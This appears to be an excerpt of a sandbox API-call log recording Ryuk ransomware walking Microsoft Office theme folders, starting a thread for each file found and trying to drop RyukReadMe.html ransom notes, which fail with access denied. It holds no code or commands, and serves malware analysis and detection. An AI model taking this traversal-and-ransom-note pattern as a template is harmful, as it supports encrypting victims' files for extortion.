	[0164.502] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x59c68c90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0164.502] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x140f5c00, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x59c68c90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x140f5c00, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0x166d5, dwReserved0=0x8e, dwReserved1=0x0, cFileName="PAPYRUS.ELM", cAlternateFileName="")) returned 1
	[0164.502] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8630000
	[0164.503] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc1f610, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7a4
	[0164.505] VirtualFree (lpAddress=0x8630000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0164.505] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6cd64f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1f4, dwReserved0=0x8e, dwReserved1=0x0, cFileName="PAPYRUS.INF", cAlternateFileName="")) returned 1
	[0164.505] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8630000
	[0164.506] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc22cf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7a8
	[0164.507] VirtualFree (lpAddress=0x8630000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0164.508] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a6f8e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xa0e, dwReserved0=0x8e, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1
	[0164.508] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8630000
	[0164.509] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc2d190, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7ac
	[0164.511] VirtualFree (lpAddress=0x8630000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0164.511] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x9240, dwReserved0=0x8e, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1
	[0164.511] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8630000
	[0164.512] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc33f50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7b0
	[0164.514] VirtualFree (lpAddress=0x8630000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0164.515] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x9240, dwReserved0=0x8e, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0
	[0164.515] FindClose (in: hFindFile=0x7a2e0 | out: hFindFile=0x7a2e0) returned 1
	[0164.515] SetLastError (dwErrCode=0x0) 
	[0164.515] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0164.515] GetLastError () returned 0x5
	[0164.515] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0) returned 0
	[0164.516] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0164.516] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a44b570, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7c, dwReserved1=0x0, cFileName="PIXEL", cAlternateFileName="")) returned 1
	[0164.516] SetLastError (dwErrCode=0x0) 
	[0164.516] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0164.516] GetLastError () returned 0x5
	[0164.516] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0) returned 0
	[0164.516] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0164.516] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\*.*", lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a44b570, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8e, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7a2e0
	[0164.517] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a44b570, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0164.517] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x17a2e300, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x6cf07e70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x17a2e300, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0xd0e5, dwReserved0=0x8e, dwReserved1=0x0, cFileName="PIXEL.ELM", cAlternateFileName="")) returned 1
	[0164.517] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8630000
	[0164.518] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc37630, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7b4
	[0164.521] VirtualFree (lpAddress=0x8630000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0164.521] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a44b570, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x21b, dwReserved0=0x8e, dwReserved1=0x0, cFileName="PIXEL.INF", cAlternateFileName="")) returned 1
	[0164.522] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8630000
	[0164.522] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc3e3f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7b8
	[0164.524] VirtualFree (lpAddress=0x8630000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0164.525] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x639, dwReserved0=0x8e, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1
	[0164.525] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8630000
	[0164.526] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc41ad0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7bc
	[0164.650] VirtualFree (lpAddress=0x8630000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0164.651] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x54f1, dwReserved0=0x8e, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1
	[0164.651] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8630000
	[0164.652] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc15170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7c0
	[0164.654] VirtualFree (lpAddress=0x8630000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0164.655] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x54f1, dwReserved0=0x8e, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0
	[0164.655] FindClose (in: hFindFile=0x7a2e0 | out: hFindFile=0x7a2e0) returned 1
	[0164.843] SetLastError (dwErrCode=0x0) 
	[0164.843] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0164.843] GetLastError () returned 0x5
	[0164.844] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0) returned 0
	[0164.844] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0164.844] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d084c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d084c30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7c, dwReserved1=0x0, cFileName="PROFILE", cAlternateFileName="")) returned 1
	[0164.844] SetLastError (dwErrCode=0x0) 
	[0164.844] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0164.844] GetLastError () returned 0x5
	[0164.844] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0) returned 0
	[0164.845] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0164.845] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\*.*", lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d084c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d084c30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8e, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7a2e0
	[0164.846] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d084c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d084c30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0164.846] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a6f8e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x53b, dwReserved0=0x8e, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1
	[0164.846] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8630000
	[0164.847] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc18850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7c4
	[0164.849] VirtualFree (lpAddress=0x8630000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0164.850] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a053d00, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x6d084c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1a053d00, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0xb20e, dwReserved0=0x8e, dwReserved1=0x0, cFileName="PROFILE.ELM", cAlternateFileName="")) returned 1
	[0164.850] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8630000
	[0164.851] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc1bf30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7c8
	[0164.853] VirtualFree (lpAddress=0x8630000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0164.854] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d084c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x24b, dwReserved0=0x8e, dwReserved1=0x0, cFileName="PROFILE.INF", cAlternateFileName="")) returned 1
	[0164.854] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8630000
	[0164.854] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc1f610, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7cc
	[0164.856] VirtualFree (lpAddress=0x8630000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0164.857] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x4162, dwReserved0=0x8e, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1
	[0164.857] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8630000
	[0164.858] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc22cf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7d0
	[0164.860] VirtualFree (lpAddress=0x8630000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0164.869] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x4162, dwReserved0=0x8e, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0
	[0164.869] FindClose (in: hFindFile=0x7a2e0 | out: hFindFile=0x7a2e0) returned 1
	[0164.869] SetLastError (dwErrCode=0x0) 
	[0164.870] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\profile\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0164.870] GetLastError () returned 0x5
	[0164.870] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0) returned 0
	[0164.870] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0164.871] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7c, dwReserved1=0x0, cFileName="QUAD", cAlternateFileName="")) returned 1
	[0164.871] SetLastError (dwErrCode=0x0) 
	[0164.871] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0164.871] GetLastError () returned 0x5
	[0164.871] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0) returned 0
	[0164.872] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0164.872] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\*.*", lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8e, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7a2e0
	[0164.873] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0164.873] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a71ef90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x59f, dwReserved0=0x8e, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1
	[0164.874] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8630000
	[0164.875] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc263d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7d4
	[0164.878] VirtualFree (lpAddress=0x8630000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0164.878] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b366a00, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x5a8037d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1b366a00, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0xbba7, dwReserved0=0x8e, dwReserved1=0x0, cFileName="QUAD.ELM", cAlternateFileName="")) returned 1
	[0164.878] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8630000
	[0164.879] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc29ab0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7d8
	[0164.881] VirtualFree (lpAddress=0x8630000, dwSize=0x0, dwFreeType=0x8000) returned 1
